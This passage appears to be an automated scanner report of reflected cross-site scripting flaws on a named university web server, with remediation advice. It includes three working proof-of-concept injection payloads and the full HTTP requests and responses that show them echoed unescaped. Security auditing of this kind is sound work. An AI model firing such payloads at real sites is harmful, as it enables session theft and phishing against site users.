Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e5d02'-alert(1)-'0a403166bf8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /course_descriptionse5d02'-alert(1)-'0a403166bf8/52-3804.html HTTP/1.1 Host: www2.colum.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 21 Nov 2010 21:35:43 GMT Server: Apache/1.3.41 (Darwin) PHP/5.1.6 DAV/1.0.3 mod_ssl/2.8.31 OpenSSL/0.9.7l X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html Content-Length: 15873
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6efa8<script>alert(1)</script>49c3ec12972 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /course_descriptions6efa8<script>alert(1)</script>49c3ec12972/52-3804.html HTTP/1.1 Host: www2.colum.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 21 Nov 2010 21:35:44 GMT Server: Apache/1.3.41 (Darwin) PHP/5.1.6 DAV/1.0.3 mod_ssl/2.8.31 OpenSSL/0.9.7l X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html Content-Length: 15912
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head> <meta http-equiv="content-type" content="text/html; char ...[SNIP]... <p>The requested URI http://www2.colum.edu/course_descriptions6efa8<script>alert(1)</script>49c3ec12972/52-3804.html was not found. The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.</p> ...[SNIP]...
The value of REST URL parameter 2 is copied into an HTML comment. The payload be8ad--><script>alert(1)</script>b8db784d8f3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /course_descriptions/be8ad--><script>alert(1)</script>b8db784d8f3 HTTP/1.1 Host: www2.colum.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 21 Nov 2010 21:35:46 GMT Server: Apache/1.3.41 (Darwin) PHP/5.1.6 DAV/1.0.3 mod_ssl/2.8.31 OpenSSL/0.9.7l Cache-Control: max-age=60 Expires: Sun, 21 Nov 2010 21:36:46 GMT X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html Content-Length: 15415
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">